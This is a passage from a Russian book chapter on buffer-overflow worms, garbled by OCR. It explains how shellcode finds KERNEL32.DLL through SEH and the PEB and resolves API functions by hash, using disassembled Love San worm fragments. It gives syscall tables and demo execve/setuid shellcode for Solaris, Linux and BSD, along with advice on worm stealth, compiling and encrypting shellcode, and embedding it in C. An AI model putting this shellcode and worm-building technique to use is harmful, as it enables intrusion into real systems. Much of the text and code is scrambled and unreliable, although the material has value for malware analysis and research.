память (то есть работает как CreateFileMapping). после чего NtClose (ЕАХ = OFh) со спокойной! совестью закрывает дескриптор. Что же касается функции GetProcAddress, то она целиком реализована в NTDLL.DLL и в ядре даже не ночевала (впрочем, при наличии спецификации РЕ-форма- та — она входит в Platform SDK и MSDN — таблицу экспорта можно проана- лизировать и «вручную»). Правда, обращаться к ядру для выбора «эмулятора» LoadLibrary совершенно нс обязательно, поскольку библиотеки NTDLL.DLL и KERNEL32.DLL всегда прш'Ут' ствуют в адресном пространстве любого процесса, и если мы сможем опрел1’’ лить адрес их загрузки, мы сорвем банк. Автору известно два способа решения этой задачи — через системный обработчик структурных исключений и ЧСРСЗ РЕВ. Первый — самоочевиден, но громоздок и неэлегантен, а второй элегаптсЯ но ненадежен. ...РЕВ только на моей памяти менялась тр11 Р ©ЮРийХаР»й с пазбр"' Однако последнее обстоятельство ничуть не помешало червю Love San 1 сать себя но миллионам машин. rllTvaU11* Если во время выполнения приложения возникает исключительная с - (деление на ноль или обращение к несуществующей странице памяти, ‘ ,т мер) и само приложение никак ее не обрабатывает, то управление системный обработчик, реализованный внутри KERNEL32.DLL и в W2K положенный по адресу 77ЕА1856Й. В других операционных системах •,Т<’^тОм»' будет иным, поэтому грамотно спроектированный shell-код ДОЛ*еН d ^.ic тически определять адрес обработчика па лету. Вызывать исключеШ1С
151 .npoegHPggg^5116'1--^ коЛ (как эТО ПРПХ°ДИЛОСЬ делать во времена старушки MS-DOS) спрова ове 1ЦСНно необязательно. Лучше обратиться к цепочке структурных i‘;nePb‘ ц1Ков, упакованных в структуру EXCEPTION REGISTRATION, первое двой- 1>1)Ра“^овО которых содержит указатель на следующий обработчик (или |11> crrFFh если никаких обработчиков больше нет), а второе — на адрес дан- ного обработчика (листинг 4.18). Листинг 4.18- Структура EXCEPTION_REGISTRATION ;XC£pTION_REGISTQATION struc prev dd ? hardier dd ? EXCeptION_REGISIRATION ends Первый элемент цепочки обработчиков хранится по адресу FS: [OOOOOOOOh], а все последующие — непосредственно в адресном пространстве подопыт- ного процесса. Перемещаясь от элемента к элементу, мы будем двигаться до тех пор, пока в поле prev не встретим FFFFFFFFFh, тогда поле handler предыду- щего элемента будет содержать адрес системного обработчика. Неофициаль- но этот механизм называется «раскруткой стека структурных исключений», н подробнее о нем можно прочитать в статье Мэтта Питрека «А Crash Course on the Depths of Win32 Structured Exception Handling», входящей в состав MSDN. В качестве наглядной иллюстрации далее приведен код, возвращающий в ре- гистре ЕАХ адрес системного обработчика (листинг 4.19). Листинг 4.19. Код, определяющий базовый адрес загрузки KERNEL32.DLL по SEH data.00501007 data:00501009 data.-00501CC3 flata:00501CCF data:00501012 data.00501014 ... хс" еах. еах хс" ebx. ebx mov ecx. fs:[eax+4J mov eax. fs:[eaxj jmp short loc_501019 : ЕАХ := 0 : ЕВХ := 0 : адрес обработчика : указатель на след, обработчик ; на проверку условия цикла daf3 n°5°1014 10C 5°Ю14: °ata:005010i4 -data:0050ici7 mov eox. [eax+4] : адрес обработчика data:005010!9 mov eax. [eax] : указатель на след, обработчик Jla:00501019 loc 50irq ata^0501019 -50 1 0j9' data:OO5OloiC cmp eax. OFFFFFFFFh : это последний обработчик? Кодь ,.k jnz snort loc_501014 : мотаем цикл, пока не конец KERNEL32°hM 110 Край,,ей СТ;'вцт и,, ’1,ам известе '•’чопок *аКОго ТРУДа (он !1РИнИМ^ог/^.еНТар,,° 0,1031 мере один адрес. принадлежащий библиотеке и, определить базовый адрес ее загрузки уже не со- кратен lOOOh и содержит в своем начале new-exe за- таваемый по сигнатурам "MZ” и "РЕ"). Следующий код 1 ;,|Дает ба- ‘'лает в регистре ЕВР адрес системного загрузчика и в нем же воз- 3°вый адрес загрузки KERNEL32.DLL. (листинг 4.20).
152 Глава 4. Ошибки переполнения буфера извне и изнуц» Листинг 4.20. Функция, определяющая базовый адрес загрузки KERNEL32.DLL путем поиска сигнатур "MZ" и "РЕ" в оперативной памяти 001В 0044676С СМР WORD PTR [EBP+00J.5A4D это "MZ"7 001В 00446772 JNZ 00446781 - - нет. не м; 001В 00446774 MDV EAX.[EBP+3C] ; на РЕ заголовок 001В 00446777 СМР DWORD PTR [EAX+EBP+O].4550 это “РЕ"’ 001В 0044677F JZ 00446789 --да. это РЕ 001В 00446781 SUB EBP.00010000 след. М5 блок 001В 00446787 LOOP 0044676C мотаем цикл 001В 00446789 Существует и более элегантный способ определения базового адреса загрузи. KERNEL32.DLL, основанный на РЕВ {Process Environment Block — блок окружсжв процесса), указатель на который содержится в двойном слове по адресу FS: [0000003011], а сам РЕВ разлагается следующим образом (листинг 4.21). Листинг 4.21. Реализация структуры РЕВ в W2K/XP РЕВ STRUC PEB_InheritedAddressSpace DB ? ’ PEB_ReadImageFI1eExecOpt:ons OB ? PEB_Bei ngDebugged DB ? PEB_SpareBool DB ? PEB_Mutant DD ? PEB_ImageBaseAddress DD ? PEB_PebLdrData DD PEB_LDR_DATA PTR ? +OCh PEB_Sess1on!d OD ? PEB По смещению OCh в нем содержится указатель на PENLDRDATA, представляющие собой список загруженных динамических библиотек, перечисленный в поря.1 ке их инициализации (NTDLL.DLL инициализируется первой, следом за ней иде KERNEL32.DLL) (листинг 4.22). Листинг 4.22. Реализация структуры PEB_LDR_DATA в W2K/XP PEB_l DR_DATA STRUC PEB_LDR_cbs1ze DD ? *00 PEB_LDR_Fiags DD ? : *04 PEB_LDR_Unknown8 DD 7 *08 PFB_LDR_ I nloadOderModul eLI st LIST_ENTRY 7 -OCh PEB_LDR_InMenioryDrderModul eList LIST_ ENTRY 7 *14h PEB_LDR_InInitGrderModuleList LIST_ENTRY 7 <Ch 3EB_LDR_DATA ENOS LIST-ENTRY STRUC LEJORWARD dd *forward_i n_the_l1 st * OOh LE_BACKWARD dd *backward_T n_the_l1 st + 04h LE_IMAGE_BASE dd imagebase_of_ntdl1.dl1 * 08h LEJMAGE-TIME dd imagetlmestamp : + 44r LIST_EN7RY
с^рртыгюоектирования shell-кода 153 ' )бствеп11О- вся идея заключается в том, чтобы, прочитав двойное слово по ад- l<,’ pg.[0000003011], преобразовать его в указатель па РЕВ и перейти по адресу, ,м который ссылается указатель, лежащий по смещению OCh от его начала — IiilnitOrderModul eList. Отбросив первый элемент, принадлежащий NTDLL.DLL, мы HO1V4I1M указатель на LIST ENTRY, содержащий характеристики KERNEL32.DLL (в частности, базовый адрес загрузки храниться в третьем двойном слове). Впро- чем это легче программировать, чем говорить, и все вышесказанное с легко- стью уметается в пяти ассемблерных командах. Ъыее приведен код, выдранный из червя Love San, до сих пор терроризирующе- го Интернет (листинг 4.23). Данный фрагмент не имеет никакого отношения к автору вируса, и был им «позаимствован» из сторонних источников. Об этом говорят «лишние» ассемблерные команды, предназначенные для совместимос- ти с Windows 9х (в ней все не так, как в NT), но ведь ареал обитания Love San ограничен исключительно NT-подобными системами, и он в принципе не спо- собен поражать Windows 9х! Листинг 4.23. Фрагмент червя Love San, ответственный за определение базового адреса загрузки KERNEL32.DLL и обеспечивающий червю завидную независимость от версии атакуемой операционной системы data:004046FE 64 Al 30 00 00 mov eax, large fs:30h PE3 base data:00404704 85 СО test eax. eax data:00404706 78 ОС js short loc_404714 -- мы на w9x -- data:00404708 8В 40 ОС mov eax. [eax+OCh] PEB_LDR_DATA data :0040470В 8В 70 1С mov esi, [eax+lCh] 1й элемент InlmtOrdcrModjleList data:0040470E AD lodsd : следующий элемент data:0040470F 8В 68 08 mov ebp. [eax+8] : базовый адрес KERNEL32.DLL data:00404712 ЕВ 09 Jmp short loc_40471D data:00404714: -------------------------------------------------------------------------------------- ^ta: 00404714 loc_404714: : CODE XREF: kkget.-kernel 32+A~j data-.00404714 8B 40 34 mov eax. [eax+34h] data.00404717 8B A8 B8 00 00+ mov ebp. Leax+0B8h] data:00404717 data:0040471D loc_40471D. ; CODE XREF: kk_get_kernel32+16*j Ручной разбор PE-формата, несмотря на свое устрашающее название, реа- лизуется элементарно. Двойное слово, лежащее по смещению 3Ch от начала •азового адреса загрузки, содержит смещение (не указатель!) РЕ-заголовка файла. который, в свою очередь, в 78h своем двойном слове содержит сме- шение таблицы экспорта, 18h-lBh и 20h-23h байты которой хранят количество экспортируемых функций и смещение таблицы экспортируемых имен соот- Ветственно (хотя функции экспортируются также и по ординалам, смеще- |,е таблицы экспорта которых находится в 24h-27h байтах). Запомните эти шачения — 3Ch, 78h, 20h/24h — они будут вам часто встречаться в коде червей эксплоитов, значительно облегчая идентификацию алгоритма последних 'листинг 4.24).
154 Глава 4. Ошибки переполнения буфера Листинг 4.24. Фрагмент червя Love San, ответственный за определение адреса таблицы экспортируемых имен data-.00404728 mov ebp. [esp+arg_4j data:004С472С mov eax, [ebp+3Ch] data:0040472F mov edx. [ebp+eax+78h] data .-00404733 add edx. ebp data:00404735 mov ecx. [edx+18hj data:00404738 mov ebx. [edx+20hj data :0040473В add ebx. ebp . базовый адрес заг , . на PE-заголовок ,:13< на таблицу экспорта : кол-во экспортируемых функци. на таблицу зкспортируемь1х ./ адрес таблицы экспорт имен Теперь, отталкиваясь от адреса таблицы экспортируемых имен (в грубом ближении представляющей собой массив текстовых ASCIIZ-строк й-тп которых соответствует «своей» APi-фупкции), мы сможем найти всенеоб\( димое. Однако от посимвольного сравнения лучше сразу отказаться, и вот по чему: во-первых, имена большинства API-функций чрезвычайно тяжеловесны а размер shell-код жестко ограничен, во-вторых, явная загрузка АР1-фу|1КцИй чрезвычайно упрощает анализ алгоритма shell-кода, что не есть хорошо. Всех этих недостатков лишен алгоритм хеш-сравнения, в общем случае сводящийся к «свертке» сравниваемых строк по некоторой функции f. Подробнее об этом можно прочитать в соответствующей литературе (например, «Искусство про- граммирования» Кнута), здесь же мы просто приведем программный код, снаб- женный подробными комментариями (листинг 4.25). Листинг 4.25. Фрагмент червя Love San, ответственный за определения индекса функции в таблице .data:0C40473D loc_40473D: CODE XREF: Kk_get_proc_ad”+36vj ,data:0040473D jecxz shore ’ос_404771 —> ошибка ,data:0040473F dec ecx в ecx кол-во экспорт, функций фуИКЦИЙ .data:00404740 mov esi. [ebx+ecx*4] смещение конца массива экспорт. .data-.00404743 add esi. ebp адрес конца массива экспорт, фуикии .data:00404745 xor edi. edi E9I := 0 .data:00404747 .data:00404748 cld сбрасываем ф:ат чазэавлечия CODE XRFF: kk_get_proc_adr+30vj .data:00404748 1OC-404748: .data:00404748 xor eax. eax FAX ;= 0 ькциИ читаем очередной символ имени У ,data:CC40474A lodsb ,data:C040474B emp al. ah это коней строки? ,data:C040474D jz short loc_404756 если конец, то прыг на конец .data:0040474F ror edi. ODh хешируем имя функции »а лету-- ...накапливая хеш-сумму в регистр ЕЙ .data:00404752 add edi. eax data:00404754 data:00404756 jmp short loc_404748 ; 1OC_404756: CODE XREF: kk_get_proc_adr-*-291'J .data.00404756 emp edi. [esp+arg_Cj это хеш "нашей" функции? .data:0040475A jnz short loc_40473D если нет. продолжить пер Зная индекс целевой функции в таблице экспорта, легко опреДелИ Это можно сделать, например, таким образом (листинг 4.26).
155 ент червя Love San, осуществляющий окончательное листииГ 4-26, опреДеление адреса АР1’Функции в памя™ . ,,.004(Я75С а 'о040475' >-61 Ld 00404765 2а:с0404768 data:0040476A datd:0040476D mov ebx. [edx+2«hj : смещение таблицы экспорта ординалов add ebx. ebp : адрес таблицы ординалов mov ex. [ebx-ecx*2] : получаем индекс в таблице адресов №v ebx. [edx+lCh] : смещение экспортной таблицы адресов add ebx. ebp ; адрес экспортной таблицы адресов mov eax. [ebx-ecx*4J : получаем смещение функции по индексу add eax. еьэ : получаем адрес функции ЕАЛИЗАЦИЯ системных вызовов в различных ос м системных вызовов — это задний двор операционной системы, или, *. пиуготно, ее внутренняя и не всегда хорошо документированная кухня. Внут- ри червя плавают какие-то константы, команды, сложным образом манипули- рующие регистрами, по физический смысл происходящего в целом остается неясным. Ниже приводится краткая справочная информация о способах реализации си- стемных вызовов в различных ОС с указанием наиболее популярных функций, в полной мере обеспечивающих жизнедеятельность червя (материал позаим- ствован из статьи «UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes» от LSD Research Group, которую я всячески рекомендую всем кодоконателям и исследователям компьютерных вирусов и червей в част- ности). SOLARIS/SPARC (истомный вызов осуществляется через ловушку (trap), возбуждаемую специ- •ыьнои машинной командой ta 8. Номер системного вызова передается через '•аибо? 3 аРгУмепты ~ через регистры оО, 01, о2, оЗ и о4. Перечень номеров аде "ее употРеб^емых системных функций приведен далее (листинг 4.27), монстрационный пример shell-кода под Solaris/SPARC — в листинге 4.28. Листинг4.27. «сап Номера системных вызовов в Solaris/SPARC •хес *91 *o0. «о!, «о2. «оЗ. «о4 ехес OOBh -> path = "/bin/ksh", L->ао = path.O] Ч Setu1(j OOBr -> oath = "/bin/ksh". —> [->a0 = path. ->al= "-c" ->a2 = cmd. ^dir C17h uid = 0 •hroot 050h -> path = "b..". node = (each value is valid) :hd1r 03Ch -3 path = ”b..". ’Octi OOCh -> path = " - ^0Cket ОЕ6Г ^EAM 36h sfd. TI_GElPEtRNAME = 5491h. [mien = 54h. len = 54h. -^sadr 4F~IrCt=2- S0CK_STREAM=2. orot=0, devpath=0. SOV_DEFAULT-1 = 2E8h sfd. -> sadr = [33h. 2. hi. Io. 0. 0. 0. 0]. len-10h. продолжение &
Глава 4. Ошибки переполнения буфера hiBl 156 Листинг 4.27 {продолжение!) 1тsten 0E9h sfd. backlog = 5. vers = (not required in this syscal accept OEAh sfd. 0. 0. vers = (not required in this syscall) fcntl ОЗЕп sfd. F_0UP2FD = 09h. fd = 0. 1. 2 Листинг 4.28. Демонстрационный пример shell-кода под Solaris/SPARC char shellcode[> /* '\x20\xbf\xff\xff" /* "\x20\xbf\xff\xff" /* "\x7f\xff\xff\xff" /* “\x90\x03\xe0\x20" /* "\x92\x02\x20\xl0" /* "\xc0\x22\x20\xC8" /* "\xd0\x22\x20\xIC" /* "\xc0\x22\x20\xl4" /* "\x82\xlO\x2O\xOb" /* "\x91\xd0\x20\x08" /* "/bin/ksh"; 10*4+8 bytes */ bn.a <shellcode-4> bn.a <shellcode> call <shellcode+4> add «o7.32.«o0 add «o0.16.«ol st 5»g0. [ЯоО+8] st &0O.R0O+I6] st 2>q0. [Жо0+20j mov 0x0b.«gl ta 8 : +- текущий указатель команд в 7о7 *z 1 »/ : вМ' указатель на /bin/ksh : в«о1 указатель на свободную память */ : ставим завершающий ноль в /bin/ksh. */ : зануляем память по указателю «о! */ ; the same */ : номер системной функции ехес */ : вызываем функцию ехес */ SOLARIS/X86 Системный вызов осуществляется через шлюз дальнего вызова по адресу 007:00000000 (селектор семь, смещение ноль). Номер системного вызова пере- дается через регистр еах, а аргументы — через стек, причем самый левый аргу- мент заталкивается в стек последним. Стек очищает сама вызываемая функ- ция. Номера системных вызовов в Solaris/x86 приведены в листинге 4.29. а демонстрационный пример shell-кода под Solaris/x86 — в листинге 4.30. Листинг 4.29. Номера системных вызовов в Solaris/x86 syscall «еах stack exec exec a2 = cmd. setuid mkdir chroot chdir TOCtl adr=[]] OBh OBh 0] 17h 5Ch 3Ch OCh 36h ret. -» path = "/bin/ksh". -> [—> aO = path. 0] ret. —> path = "/bin/ksh". —> [-> aO = path. -> al = '< • ret. uid = 0 ret. —> path = "b..". mode = (each value is valid) ret. -> path = "b. ret. —> path = ret. sfd. TI_GETPEERNAME = 5491h. -+ [mien = 91h. "en=911- so socket bind E6h ret. E8h AFJNET=2.SOCK STREAM=2.prot=0.devpath=0.S0V DEFAULTS ret. sfd. -> sadr = [FFh. 2. hi. Io. 0.0.0.0]. 1isten accept fcntl len=lCh.S0V_S0CKSTREAM=2 , F9h ret. sfd. backlog = 5. vers = (not required in this sysc • Eah ret. sfd. 0. 0. vers = (not required in this syscall) 3EF ret. sfd. F_DUP2FD = 09h. fd = 0. 1. 2 Листинг 4.30. Демонстрационный пример shell-кода под Solaris/x86 char setuidccde[]= /* 7 bytes */ "\x33\xc0” /* xorl «еах.«еах : ЕАХ := О
157 'x50" ,, .xbOxxl7„ .Xff\xd6" /* pushl Яеах /* movb $0x17 Да] /* call *«esi заталкиваем в стек нуль */ : номер системной функции setuid */ : setuid(O) */ U* ii вызов осуществляется через программное прерывание по вектору СигтеМ^’я<даеМОс машинной инструкцией INT 80h. Номер системного вызова gOh, воз чсрез регистр еах, а аргументы — через регистры ebx, ecx и edx (лис- ni’P^ 31) Демонстрационный пример shell-кода под Linux/x86 приведен в ли- стинге 4.32. urd'?! Номера системных вызовов в Unux/x86 Листинг syscall OBh tebx. 2ecx. Tedx -> path = "/bin//sh". -> [-> aO = path. 0] exec exec №h -> path = "/bin//sh". -> [—> aO = path. -> al = "-c“. -> a2 = cwt 0] setuid l7h uid = 0 nkdir 27h -» path = "b..". mode = 0 (each value is valid) chroot 3Dh -» path = "b..". "." cndir OCh -> path = ".." socketcall 66h getpeername = 7. -» [sfd. -» sadr = [].-» [len=10h]] socketcall 66h socket = 1. -» [AFJNET = 2. SOCK STREAM = 2.prot = 0] socketcan 66h bird = 2. -> [sfd. -> sadr = [FFh. 2. hi. Io. 0. 0. 0. 0]. len =10h] socketcall 66h listen = 4. -> [sfd. backlog = 102] socketcall 66h accept = 5. -> [sfd. 0. 0] dup2 3Fh sfd. fd’2. 1. 0 Листинг 4.32. Демонстрационный пример shell-кода под Linux/x86 crer setuidcode[]= /* 8 bytes */ \x33\xc0" /* xor] ЯеахДеах : ЕАХ := 0 _'x31\xdb‘ /* xor] ЯеЬхДеьх ^хЬ0\х17" /* movb $0x17 Да] \xcd\x80" /* int $0x80 EBX := 0 номер системной функции stuTd setuid(O) */ */ */ */ FREE, NET, OPENBSD/X86 Ba сРаЦионные системы семейства BSD реализуют гибридный механизм вызо- ^системных функций: поддерживая как far cal 1 па адрес 0007:00000000 (толь- Менть,СРа<СИСТеМНЫХ ФУнкций Другие), так и прерывание по вектору 80h. Аргу- 1 в оооих случаях передаются через стек (листинги 4.33 и 4.34). ^’’’Динг 4.33. sxscaTi ~*ecve ^ecve % setUid "‘W Номера системных вызовов в BSD/X86 0 Хеах stack 3Bh ret. -» path = "//bin//sh". -> [-> aO = 0]. 0 3Bh ret. -> patn = "//bin//sh". -> [-> aO = path. —> al = "-c". 17h ret. uid = 0 88h ret. -> path = "b..". mode = (each value is valid) продолжение &
Глава 4. Ошибки переполнения 6vtber>=>, 158 Листинг 4.33 (продолжение) chroot chdir getpeername socket bind 7 i sten accept dup2 ЗОИ ret. -> path = "b •зсп ret. pathi^".." IFh ret. sfd. -> sadr = [].-» [len = lOh] 61 h ret. AFJNET = 2. SOCK_STREAM = 1. prot = 0 68h ret. sfd. -> sadr = [FFh. 2. hi. Io. 0. 0. 0. 0] —Г 1 fi 6Ah ret. sfd. backlog = Ь lEh ret. sfd. 0. 0 5Ah ret. sfd. fd = 0. 1. 2 Листинг 4.34. Демонстрационный пример shell-кода под BSD/x86 char shellcode[]=/* 23 bytes */ "\x31\xc0" /» ' xorl ^еахДеах : EAX := 0 * / "\x50" /’ ' pushl teax . заталкиваем завершающий ноль в стек / */ "\x68",'//sh" C ’ pushl $0x68732f2f заталкиваем хвост строки в стек */ "\x68""/bin" C ' pushl $0x6e69622f заталкиваем начало строки в стек */ "\x89\xe3" /> ' movl ^езрДеЬх : устанавливаем ЕВХ на вершину стека */ "\x50" /-> ' pushl £eax : заталкиваем ноль в стек ж/ "\x54" "\x53" C /> • pushl ifesp ' pushl febx ; передаем функции указатель на ноль ; передаем функции указатель на /bin/sb*/ */ ”\x50” /★ ' pushl £eax ; передаем функции ноль */ "\xb0\x3b" /* 1 movb $0хЗЬДа1 номер системной функции execve */ "\xcd\x80" /-> r int $0x80 execve('7/bin//sh". "".О): */ УПАСТЬ, ЧТОБЫ ОТЖАТЬСЯ Восстановление работоспособности уязвимой программы после переполне- ния — это не только залог скрытности проникновения, но и определенный куль- турный элемент. Выполнив свою миссию, червь не должен возвращать управ- ление программе-носителю, поскольку с вероятностью, близкой к единице.она немедленно рухнет, что вызовет серьезные подозрения у администратора. Если каждое новое TCP/IP-подключеппе обрабатывается уязвимой програм мой в отдельном потоке, то вирусу будет достаточно просто «прибить» св поток, вызвав API-функцию TerminateThread или впасть в бесконечным (правда, при этом на однопроцессорных машинах загрузка ЦП может воз} до 100 %, что тоже очень нехорошо). С однопоточными приложениями все намного сложнее, и червю П*’’1Х «вручную» приводить искаженные данные в минимально работоспос либо раскручивать стек, «выныривая» в материнской функции, eine нутой искажениями, либо же передавать управление на какую-ни >v черскую функцию, занимающуюся рассылкой сообщений. ч1(> Более универсальных способов до сих пор не придумано, несмотря несколько последних лет эта тема находится в интенсивной разра КОМПИЛЯЦИЯ ЧЕРВЯ - ботка Согласно правилам этикета компьютерного андеграунда, разра ^сЯ1)вЫ:1 должна происходить на языке ассемблера и/или машинного кода- ,-оВ
159 _ проектирования^^^ад?___________________ использовать Си или — страшно сказать — Delphi, вас попросту не ,11,|Та -важать. Лучше вообще не писать вирусов, а если и писать, то, по край- дь>лать это 11Р°Фессионально- 1,1 не менее эффективность современных компиляторов такова, что по каче- ^еМ своей кодогенерапии они вплотную приближаются к ассемблеру и если lTi?’ . «tart-up, то мы получим компактный, эффективный, наглядный и лег- «рУОИТЬ •о отлаживаемы и код. Прогрессивно настроенные хакеры стремятся использо- •iTb языки высокого уровня везде, где только это возможно, а к ассемблеру об- ращаются только по необходимости. Ц ч всех компонентов червя только голова требует непосредственного ассемб- лерного вмешательства, а тело и начинка червя замечательно реализуются и на старом добром Си. Да, такой подход нарушает полувековые традиции вирусо- ппсательства, но давайте не будем цепляться за традиции! Мир непрерывно меняется, и мы меняется вместе с ним. Когда-то ассемблер (а еще раньше — машинные коды) был неизбежной необходимостью, сейчас же он становится своеобразным магическим ритуалом, отсекающим от создания «правильных» вирусов всех непосвященных. Кстати говоря, обычные трансляторы ассемблера (такие, например, как TASM пли MASM) для компиляции головы червя непригодны. Они намного ближе стоят к языкам высокого уровня, чем, собственно, к самому ассемблеру. Излиш- няя самодеятельное гь и интеллектуальность транслятора при разработке shell- кода только вредит. Во-первых, мы не видим, во что транслируется та или иная мнемоника ассемблера, и чтобы узнать, присутствуют ли в ней нули, приходится обращаться к справочнику по командам от Intcl/AMD или каждый раз выпол- нятыюлный цикл трансляции. Во-вторых, легальными средствами ассемблера мы не сможем выполнить непосредственный FAR CALL и будем вынуждены за- давать его через директиву DB. В-третьих, управление дампом не поддерживает- ся в принципе, и процедуру шифровки shell-кода приходится выполнять сто- ронними утилитами. Поэтому очень часто для разработки головы червя ’*сп°льзуют hex-редактор со встроенным ассемблером и криптом, например tw или QVIEW. Машинный код каждой введенной ассемблерной инструк- 111111 генеРируется в этом случае сразу, что называется «на лету», и если резуль- гаг трансляции вас не устраивает, вы можете, не отходя от кассы, испробовать 1>1,еСК0?ЬКо дРУгих вариантов. Вместе с тем такому способу разработки присущ W, ряд серьезных недостатков. п 1ем с того, что набитый в hex-редакторе машинный код практически не Дальнейшему редактированию. Пропуск одной-едипственной ма- Тщ °И Командь1 может стоить вам ночи впустую потраченного труда — ведь быТьее Встап1<и в середину shell-кода все последующие инструкции должны Прав.С‘МеЩе,1ы вниз, а соответствующие им смещения заново пересчитаны. №рнДа’ м°ЖНо поступить и так: на место отсутствующей команды внедрить Тре(< к°Нец хЬе11-кода, перенести туда затертое jmp’oM содержимое, добавить •Кщце ое Количество машинных команд и еще одним jmp’oM вернуть унрав- *ес1’1а “Режпее место. Однако такой подход чреват ошибками и к тому феРа его Применения более чем ограничена (немногие процессорные
160 Глава 4. Ошибки переполнения бу<Ьепа . ------------------------------------------------------ ----------------------------------------------------- архитектуры поддерживают jmp вперед, не содержащей в своем те- пых нолей).-------------------------------------------Ле 11аРа Кроме того, HIEW, как и подавляющее большинство других HEX ров, не позволяет использовать комментарии, что затрудняет и заме цесс программирования. В отсутствие наглядных символических ЯСТ||')0' будете долго вспоминать, что намедни положили в ячейку [ЕВр-бдд лась ли в виду здесь СЕВР-68]? Достаточно одного неверного нажатия вишу, чтобы на выяснение причин неработоспособности shell-кодаущ^ день. (QVIEW — один из немногих hex-редакторов, позволяющих п '*СЬ ассемблерные инструкции комментариями, сохраняемыми в спет 43,1 файле.) ЛЬ|,0« Поэтому предпочтительнее всего поступать так: набивать небольшие куски shell кода в HIEW и тут же переносить их в TASM/MASM, при необходимости ш бегая к директиве db, а прибегать к ней придется достаточно часто, поскони подавляющее большинство ассемблерных извращений только через нее, рощ мую, и могут быть введены. Типовой ассемблерный шаблон shell-кода приведен в листинге 4.35. Листинг 4.35. Типовой ассемблерный шаблон для создания shell-кода. Компиляция: ml.exe /с "file name.asm”, линковка: link.exe /VXD "file name.obj" .386 .model flat .code start: jmp short begin get_eip: pop esi : shell-код begin: call get_eip end start K MAS*'1; Трансляция shell-кода осуществляется стандартно, и применитесь! asi»’ командная строка может выглядеть, например, так: ml.exe /с ^le С линковкой все намного сложнее. Штатные компоновщики, Ta,<',iC’i|(1Ijft4)‘1*’'1 как Microsoft Linker, наотрез откажутся транслировать shell-код в двои и в лучшем случае «сварганят» из него стандартный РЕ, из которЫ1 придется вырезать руками. Использование ключа /VXD сушественН° ^вуюИ1"’' нашу задачу, так как, во-первых, линкер больше не матерится на отсу ^а^ стартовый код и не порывается внедрять его в целевой файл самостоят^ вторых, вырезать shell-код из vxd-файла намного проще, чем из РЕ-
161 .шипования shell-кода «s-ss ,ч£].файле shell-код располагается, начиная с адреса lOOOh, и продолжает- |,|П°В чмого конца файла. 1 очнее, практически до самого конца — один или два сЯ'1° 'L я байта могут присутствовать по соображениям выравнивания, однако 52*—. полученный двоичный файл необходимо зашифровать (если, конечно, У Д-кол содержит в себе шифровщик). Чаще всего для этого используется уже *' мянУГЫЙ HIEW, реже — внешний шифровщик, па создание которого обыч- '1|0\'хотшт не больше, чем десяток минут: fopen/fread/for(a = FROMCRYPT; |И< ТО CRYPT; a+=sizeof(key)) buf[a] *= key:/fwrite. При всех достоинства HIEW’a .iaBnbiii минус его шифровщика заключается в том, что полностью автомати- зировать процесс трансляции shell-кода в этом случае оказывается невозмож- но » при частых перекомпиляциях необходимость ручной работы дает о себе знать. Тем не менее... лучше за час долететь, чем за пять минут добежать — про- граммировать внешний шифровщик поначалу лениво, вот все и предпочитают заниматься Кама-Сутрой с HIEW’om, чем автоматизировать серые будни уны- лых дождливых дней окружающей жизни. Готовый shell-код тем пли иным способом имплантируется в основное тело чер- вя. как правило, представляющее собой Си-программу. Самое простое (но не самое лучшее) — подключить shell-код как обыкновенный obj-файл, однако этот путьне свободен от проблем. Чтобы определить длину shell-кода, потребуются две публичные метки — в его начале и конце. Разность их смещений и даст ис- комое значение. Но это еще что — попробуйте-ка с разбега зашифровать obj- файл. В отличие от «чистого» двоичного файла, привязываться к фиксирован- ным смещениям здесь нельзя и приходится прибегать к анализу служебных структур п заголовка, что также не добавляет энтузиазма. Наконец, нетексто- вая природа obj-файлов существенно затрудняет публикацию и распростране- ние исходных текстов червя. Поэтому (а может быть, просто в силу традиции) ' е 'Код чаще всего внедряется в программу непосредственно через строковой массив, олаго язык Си поддерживает возможность введения любых НЕХ-сим- Воло®'естсс 'венно,за исключением ноля, так как последний служит символом Знания строки. сов Ч°ЖеТ выглядеть, например, так (разумеется, набивать hex-коды вручную pM1j е,1Но |,е обязательно — быстрее написать несложный конвертер, кото- ВСе сдедаетза вас) (листинг 4.36). •36. Пример включения shell-кода в Си-программу •\»п.11<?Хх6аХх00Хх54х’<50\х50\хЬО\хОЗ\хсс1\х8О\х83\хс4" 'XOc^ff\xff\xe4-. ^^рь ^нрети"^080!314,41 °б укрощении компилятора и оптимизации программ. Как гЧточНоЬ К°МП11ЛЯТОРУ внедрять start-up и RTL-код? Да очень просто — до- Г0Ч|{УвхоНе ^ъявлять функцию main, принудительно навязав линкеру новую 'Мц,,. Ла11°средством ключа/ENTRY. Покажем это на примере следующей ппо- (листинг 4.37)
1 162 Глава 4. Ошибки переполнения буфепа и, п 73 Листинг 4.37. Классический вариант, компилируемый обычным способом: cl рУВ „. , ‘ /0* «е.с ffinclude «windows.h> шв'п() MessageBox(0. "Sailor", "Hello". 0): Будучи откомпилированной с настройками по умолчанию, то есть с] Ox "file name, с”, программа образует исполняемый файл, занимающий 25 кг*' Не так уж п много, по не торопитесь с выводами (листинг 4.38). Сейчас в ЙИТ дите такое... Листинг 4.38. Оптимизированный вариант, компилируемый так: cl.exe /с /Ох file.c а линкуемый так: link.exe /ALIGN-.32 /DRIVER /ENTRY:my_main / SUBSYSTEM:console file.obj USER32.lib ^include «windows.h> myjnainO { Message3ox(0. "Sailor". "Hello". 0): } Слегка изменив имя главной функции программы и подобрав оптимальные ключи трансляции, мы сократили размер исполняемого файла до 864байт. причем большую его часть будет занимать PE-заголовок, таблица импортаи пу- стоты, оставленные для выравнивания. То есть на реальном полновесном при- ложении, состоящем из сотен, а то и тысяч строк, разрыв станет еще более за- метным, но и без этого мы сжали исполняемый файл более чем в тридцать раз (!). причем безо всяких ассемблерных извращений. Разумеется, вместе с RTL гибнет и подсистема ввода-вывода, а, значит, боль шинство функций из библиотеки stdio использовать пе удастся и придется огра ничиться преимущественно API-функциями. Под Windows 9х файлы с таким выравниванием работать не будут, так что переходите на NT или произвол1^ от нее системы. ДЕКОМПИЛЯЦИЯ ЧЕРВЯ оиГЯЯ^*’ Обсуждая различные аспекты компиляции червя, мы решали задачу, Д^. от прямого к обратному. Но стоит нам оглянуться назад, как позади не ся ничего. Приобретенные навыки трансляции червей окажутся нра ^дц- или полностью бесполезными перед лицом их анализа. Ловкость днзаС|(1 доти- рования червей опирается па ряд неочевидных тонкостей, о некоторый рых я и хочу рассказать. вхОда. Первой и наиболее фундаментальной проблемой является поиск т° ’^дятЛ0 Подавляющее большинство червей, выловленных в живой природе-bbi^ 